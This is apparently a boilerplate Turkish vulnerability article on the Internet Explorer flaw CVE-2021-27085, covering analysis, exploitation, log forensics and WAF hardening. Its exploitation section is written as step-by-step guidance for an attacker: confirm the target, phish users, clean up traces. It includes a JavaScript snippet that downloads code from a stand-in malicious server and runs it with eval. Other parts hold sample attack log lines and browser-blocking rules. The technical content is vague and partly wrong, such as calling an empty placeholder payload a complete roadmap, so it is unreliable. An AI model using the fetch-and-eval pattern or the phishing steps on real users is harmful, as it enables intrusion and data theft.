CVE-2021-27085: Microsoft Internet Explorer Remote Code Execution Vulnerability

Zorluk Seviyesi: Orta | Kaynak: CISA KEV

Zafiyet Analizi ve Giriş

CVE-2021-27085, Microsoft Internet Explorer’ın (IE) uzaktan kod çalıştırma (Remote Code Execution - RCE) açığı olarak bilinen bir güvenlik zafiyetidir. Bu zafiyet, saldırganların belirli bir kullanıcının sisteminde kötü niyetli kod çalıştırmasına olanak tanıyan bilinmeyen bir hata içermektedir. Internet Explorer, Microsoft’un uzun süre desteklediği bir web tarayıcısı olsa da, bu tarihlerde artık resmi olarak desteklenmediği için zafiyetin bulunması, kullanıcıların güvenlik endişelerini artırmaktadır.

Bu açığın ortaya çıkışı 2021 yılına dayanır ve kütüphane kapsamında belirli bir bileşende hata tespit edilmiştir. Microsoft, Internet Explorer’da birçok bileşen ve modül barındırdığından, bu tür zafiyetlerin hangi alanlarda olduğunu saptamak zor olabilir. Ancak genel olarak, bu tür uzaktan kod çalıştırma açıkları, özellikle JavaScript yani titreşimli içerik yükleyen bölümlerde ortaya çıkmaktadır. Saldırganlar, bu hatayı kullanarak kullanıcı etkileşimleri sırasında özel kötü niyetli dosyaları yükleyebilir ve sistemi ele geçirebilir.

Gerçek dünya senaryolarında, özellikle kurumsal sektörler bu gibi zafiyetler nedeniyle ciddi tehditlerle karşı karşıya kalmaktadır. Örneğin, eğitim, finans, sağlık gibi sektörlerde, çalışanların Internet Explorer kullanmaları durumunda, bu açık üzerinden hedef alınabilecekleri durumlar mevcuttur. Bir kurum, çalışanlarının bilinçsiz bir biçimde şüpheli bir bağlantıya tıklaması halinde, bu açık istismar edilerek sistemlere sızılabilir ve önemli veriler çalınabilir. Dolayısıyla, kurumlar için yedekleme, güvenlik duvarı gibi önlemler almak kritik bir önem taşır.

Zafiyetin etkisi dünya çapında geniş bir yelpazeye yayıldı çünkü Internet Explorer, birçok işletme ve kamu kuruluşu tarafından uzun süre kullanılmaya devam etti. Microsoft’un bu tarayıcıyı popülaritesinin artması, dünya genelinde çeşitli kullanıcılar ve sistemler üzerinde güvenlik açıklarının mevcut olması anlamına geliyor. Özellikle, gelişmekte olan ülkelerde hala yaşlı sistemlerin kullanılması, bu tür zafiyetlere karşı daha fazla risk teşkil etmektedir.

Etkileri nedeniyle, CVE-2021-27085 gibi zafiyetler, “0-day erişim” (bir yazılımdaki henüz bilinmeyen bir açığın tespit edilmesi) gibi durumlar yaratabilecek bir potansiyele sahiptir. Bu tür açıkların ortadan kaldırılması, sadece teknik bir problem olmaktan öte, aynı zamanda büyük bir sosyal mühendislik sorununu da içermektedir. Saldırganlar, kullanıcıların dikkatini dağıtarak onlardan bilgi çalabilir veya kuruluşların iç sistemlerine sızabilir.

Sonuç olarak, zafiyet analizleri sadece teknik bir hata tespiti değil, aynı zamanda uygun siber güvenlik stratejilerinin belirlenmesi açısından da kritik öneme sahiptir. Kullanıcıların ve organizasyonların tüm bireysel ve kurumsal seviyelerde bu tür tehditler karşısında tedbirli olmaları, bu tür zafiyetlerin istismar edilme riskini önemli ölçüde azaltacaktır. Sık sık güncellemeler almak, antivirüs ve anti-malware yazılımlarını kullanmak ve kullanıcılara siber güvenlik konularında eğitim vermek, bu tür zafiyetlerin etkilerini minimize etmek için önemlidir.

Teknik Sömürü (Exploitation) ve PoC

Microsoft Internet Explorer (IE) üzerinden CVE-2021-27085 zafiyetinin sömürülmesi, kötü niyetli aktörlerin uzaktan kod yürütmesine (Remote Code Execution - RCE) olanak tanıyan kritik bir güvenlik açığıdır. Bu zafiyet, kullanıcıların kötü amaçlı içeriklere maruz kalması durumunda, saldırganların hedef sistem üzerinde tam kontrol elde etmelerine neden olabilir. İşte bu zafiyetin etkin bir şekilde nasıl sömürüleceğine dair bir teknik kılavuz.

Öncelikle, zafiyetin hangi koşullarda tetiklendiğini anlamak önemlidir. Microsoft Internet Explorer, belirli web sayfalarında ya da içeriklerinde özel olarak hazırlanmış bir yükle, bu zafiyeti barındırabilir. Saldırgan, kullanıcıları bu sayfalara yönlendirerek veya e-posta ile kötü amaçlı bağlantılar göndererek hedef alabilir.

Zafiyetin sömürülmesi aşamaları şu şekildedir:

Hedef Belirleme: Zafiyeti sömürmek için öncelikle hedef sistemin Internet Explorer kullandığından emin olun. İlgili güncellemelerin yüklenip yüklenmediğini kontrol edin.
Kötü Amaçlı İçerik Hazırlama: Zafiyeti tetiklemek için özel bir HTML sayfası oluşturmanız gerekecek. Bu HTML sayfası, belirli JavaScript komutlarını içerir. Örneğin:

   &lt;!DOCTYPE html&gt;
   &lt;html&gt;
   &lt;head&gt;
       &lt;title&gt;Exploit Page&lt;/title&gt;
       &lt;script&gt;
           // Kötü niyetli kod
           function executePayload() {
               // Saldırganın kodu burada yer alacak
           }
       &lt;/script&gt;
   &lt;/head&gt;
   &lt;body onload="executePayload()"&gt;
       &lt;h1&gt;Hoş geldiniz!&lt;/h1&gt;
   &lt;/body&gt;
   &lt;/html&gt;

Phishing (Oltalama) Tekniği: Kullanıcıları bu sayfaya çekmek için sosyal mühendislik tekniklerinden faydalanın. Örneğin, kullanıcıları sahte bir e-posta ile bilgilendirip bağlantıya tıklamaya ikna edebilirsiniz.
HTTP İstekleri ve Cevapları: Kötü amaçlı içerik, hedef sistemden bilgi toplamak için HTTP istekleri gönderebilir. Aşağıda örnek bir istek gösterilmektedir:

   GET /vulnerable_page HTTP/1.1
   Host: target-website.com
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
   Accept-Language: en-US,en;q=0.9

Payload’ın İcra Edilmesi: Kötü amaçlı JavaScript kodu çalışmaya başladığında, saldırgan sistemde uzaktan kod yürütme (RCE) yetkisi elde edilebilir. Burada, kullanıcı bilgisayarında özel bir yükü çalıştıracak komutların tanımlanması gerekir. Örneğin:

   var xhr = new XMLHttpRequest();
   xhr.open("GET", "http://malicious-server.com/malicious_payload", true);
   xhr.onreadystatechange = function() {
       if (xhr.readyState == 4 &amp;&amp; xhr.status == 200) {
           // İcra edilen komutlar
           eval(xhr.responseText);
       }
   };
   xhr.send();

İzleme ve Temizlik: Saldırgan, hedef sistemde gerçekleştirdiği işlemleri izlemeli ve gereksiz izleri silmelidir. Elde ettiği bilgiler doğrultusunda yeni saldırılar için hazırlık yapmalıdır.

Bu aşamalar, Microsoft Internet Explorer üzerindeki CVE-2021-27085 zafiyetinin eksiksiz bir şekilde sömürülmesi için bir yol haritası sunmaktadır. Ancak, etik hackerların (White Hat Hacker) amacının bu teknik bilgileri kötüye kullanmak değil, güvenlik açıklarını tespit edip bunlara karşı önleyici tedbirler almak olduğunu belirtmek önemlidir. Bu tür zafiyetlerin farkındalığını artırmak, daha güvenli bir internet ortamı yaratmak adına kritik bir adımdır.

Kullanıcıları bilinçlendirmek ve bu tür zafiyetlere karşı savunma mekanizmaları geliştirmek, siber güvenlik alanındaki en önemli görevlerden biridir.

Forensics (Adli Bilişim) ve Log Analizi

Microsoft Internet Explorer'da bulunan CVE-2021-27085 zafiyeti, kötü niyetli bir saldırganın, Internet Explorer kullanarak bir sisteme uzaktan kod yüklemesine (Remote Code Execution - RCE) olanak sağlamaktadır. Bu tür zafiyetler, özellikle iş yerlerinde, kullanıcıların web tarayıcıları üzerinden etkileşimde bulundukları dosya ve içerikler aracılığıyla sisteme erişim sağlamak için kullanılabilmektedir. Adli bilişim (Forensics) ve log analizi, bu tür güvenlik ihlallerini tespit etmek için kritik öneme sahiptir.

Bir siber güvenlik uzmanı, CVE-2021-27085 gibi bir zafiyetin istismar edildiğini belirlemek için çeşitli log dosyalarını incelemelidir. Öncelikle, erişim logları (access log) ve hata logları (error log) üzerinden şüpheli aktiviteleri tespit etmek amacıyla kullanıcıların geçmiş tarayıcı etkinliklerine odaklanmak gerekecektir. Burada dikkat edilmesi gereken bazı imzalar şunlardır:

Beklenmeyen URL’ler veya IP Adresleri: Kullanıcıların, normalde ziyaret etmedikleri veya güvenli olmayan bir IP adresine yönlendirilip yönlendirilmediği incelenmelidir. Örneğin:

   192.0.2.1 - - [20/Oct/2023:14:05:59 +0000] "GET http://malicious-site.com/exploit HTTP/1.1" 200

Bu tür bir kayıt, kullanıcının zararlı bir web sitesine erişim sağladığını gösteriyor olabilir.

Kötü Amaçlı Dosya İndirmeleri: Kullanıcıların, bilmediği veya şüpheli uzantılara sahip dosyaları indirdiği durumlar da tehdit oluşturabilir. Log kayıtlarında şöyle bir ifade yer alıyorsa:

   192.0.2.1 - - [20/Oct/2023:14:07:01 +0000] "GET http://malicious-site.com/malware.exe HTTP/1.1" 200

Bu, potansiyel bir tehlikeyi işaret eder.

Hata Mesajları: Birçok zafiyet istismarı, sistemde hata mesajları bırakabilir. Bir hata kaydı şu şekilde olabilir:

   [ERROR] [20/Oct/2023:14:08:03 +0000] "Invalid input on line 37"

Bu tür mesajlar, saldırının bir işareti olabilir.

Zamanlamalı Olaylar: Saldırganların çoğu, bir süre sonra tekrar eden etkinlikler oluşturabilir. Örnek bir kaydı bu şekilde görebiliriz:

   192.0.2.1 - - [20/Oct/2023:14:10:00 +0000] "POST http://malicious-site.com/login HTTP/1.1" 403

Belirli zaman dilimlerinde tekrarlanan girişimler, bir brute-force (şifre kırma) saldırısını gösteriyor olabilir.

Microsoft Internet Explorer'ın açıkları üzerinden yapılan saldırılarda, adli bilişim uzmanları, şüpheli olan her türlü kullanıcı etkinliğini dikkatlice incelemelidir. Log dosyalarında belirlenen bu imzalar, zaman çizelgesi oluşturarak olayın kapsamını anlamaya yardımcı olabilir. Örneğin, eğer bir kullanıcı, güncellemeleri uygulamamışsa, bu durumda kötü niyetli yazılımların sisteme sızma olasılığı artacaktır.

Ayrıca, SIEM (Güvenlik Bilgileri ve Olay Yönetimi) araçları, saldırıların zamanında tespit edilmesi konusunda kritik bir rol oynamaktadır. SIEM, log verilerini toplayarak, anomali tespiti yapabilir ve potansiyel tehditleri belirlemek için makine öğreniminden faydalanabilir. Internet Explorer'la ilgili şüpheli etkinliklerden dolayı SIEM sistemi, belirli uyarılar oluşturulabilir ve güvenlik ekibi hızlı bir şekilde harekete geçebilir.

Sonuç olarak, CVE-2021-27085 zafiyeti gibi istismarların tespit edilmesinde anahtar, log analizi ve adli bilişim yetenekleridir. Kullanıcı davranışlarının dikkatlice izlenmesi, ağ trafiğinin analizi ve istismar imzalarının belirlenmesi, bu tür güvenlik tehditlerine karşı etkili savunma oluşturulmasında esastır. CyberFlow platformu gibi çözümler, bu süreçleri otomatikleştirerek siber güvenlik uzmanlarına daha fazla güç ve daha az zaman kaybı sunmaktadır.

Savunma ve Sıkılaştırma (Hardening)

Microsoft Internet Explorer için CVE-2021-27085 zafiyeti, uzaktan kod yürütme (Remote Code Execution - RCE) yeteneği sağlayarak saldırganların hedef sistemlerde istenmeyen eylemler gerçekleştirmesine olanak tanır. Bu tür bir açık, kötü niyetli yazılımlar ile sistemin kontrolünü ele geçirme riski taşır. Özellikle Internet Explorer, uzun süredir desteklenen bir tarayıcı olmasına rağmen, eski sistemlerde ve özellikle kurumsal ortamlarda hâlâ kullanılmaktadır. Bu nedenle, bu zafiyetin ciddiyeti göz önüne alındığında, gerekli savunma ve sıkılaştırma (hardening) önlemlerini almak elzemdir.

Öncelikle, sistemlerinizi güncel tutmak her zaman ilk adım olmalıdır. Microsoft, güvenlik güncellemeleri ile bu tür zafiyetleri gidermeye çalışmaktadır. CVE-2021-27085 açıklarını kapatabilmek için, Internet Explorer güncellemelerinin düzenli olarak yapılmasını sağlamak kritik bir adımdır. Güncellemeleri otomatik hale getirerek veya manuel olarak kontrol ederek, zafiyetlerin sistemlerinizi tehdit etmesini engelleyebilirsiniz.

Bunun yanında, Internet Explorer kullanımını sınırlamak veya alternatif bir tarayıcıya geçiş yapmak da uzun vadeli bir çözüm olabilir. Modern tarayıcılar genellikle daha güçlü güvenlik özelliklerine sahip olup, RCE gibi açıkların ortaya çıkma ihtimali daha düşüktür. Kullanıcı eğitimleri yaparak, Internet Explorer yerine alternatif tarayıcıların kullanımını teşvik etmek, güvenliği artıran adımlardan biridir.

Firewall ve Web Application Firewall (WAF) kurallarında da güncellemeler yapılmalıdır. Özelikle rahatça erişilebilecek hiçbir uygulama veya servis bırakılmamalıdır. Örneğin, giriş izni sağlamak için IP adresleriyle filtreleme yapabilir, yalnızca belirlenen güvenilir IP’lerden gelen isteklerin kabul edilmesini sağlayabilirsiniz. Ayrıca, WAF üzerinde aşağıdaki gibi kurallar oluşturmak, CVE-2021-27085 gibi zafiyetlerin kullanılmasını zorlaştırır:

SecRule REQUEST_HEADERS:User-Agent ".*MSIE.*" "id:10001,phase:1,deny,status:403,msg:'Internet Explorer kullanımı engellendi'"
SecRule REQUEST_HEADERS:User-Agent ".*Trident.*" "id:10002,phase:1,deny,status:403,msg:'Internet Explorer kullanımı engellendi'"

Sistemlerinizi sıkılaştırmanın bir diğer yolu, ağ güvenliğini artırmaktır. Ağa bağlanan her cihazın güvenliğini sağlamak için ağ segmentasyonu yaparak, potansiyel bir saldırganın sisteme sızma girişimini zorlaştırabilirsiniz. Örneğin, kullanıcıların yalnızca gerekli olan uygulamalara erişimini kısıtlamak ve gereksiz bağlantıları engellemek, iç ağınızın güvenliğini artıracaktır.

Ayrıca, uygulama seviyesinde güvenliği artırarak RCE gibi saldırılara karşı koruma sağlamak mümkündür. Geliştiriciler, uygulama yazılımında buffer overflow (tampon taşması) veya auth bypass (kimlik doğrulama atlatma) gibi zafiyetleri göz önünde bulundurarak kodlarını yazmalı ve testi yapılmış güvenli kod kalıplarını kullanmalıdırlar.

Son olarak, her türlü zafiyetin saptanması adına düzenli olarak güvenlik testleri ve penetrasyon testleri gerçekleştirmek de önemlidir. Böylece, olası açıklar erkenden tespit edilip, sistemsel zayıflıkların giderilmesine yönelik adımlar atabilirsiniz. Dikkatli bir yaklaşım ve düzenli güncellemelerle CVE-2021-27085 gibi zafiyetlerin etkilerini minimuma indirmek mümkündür.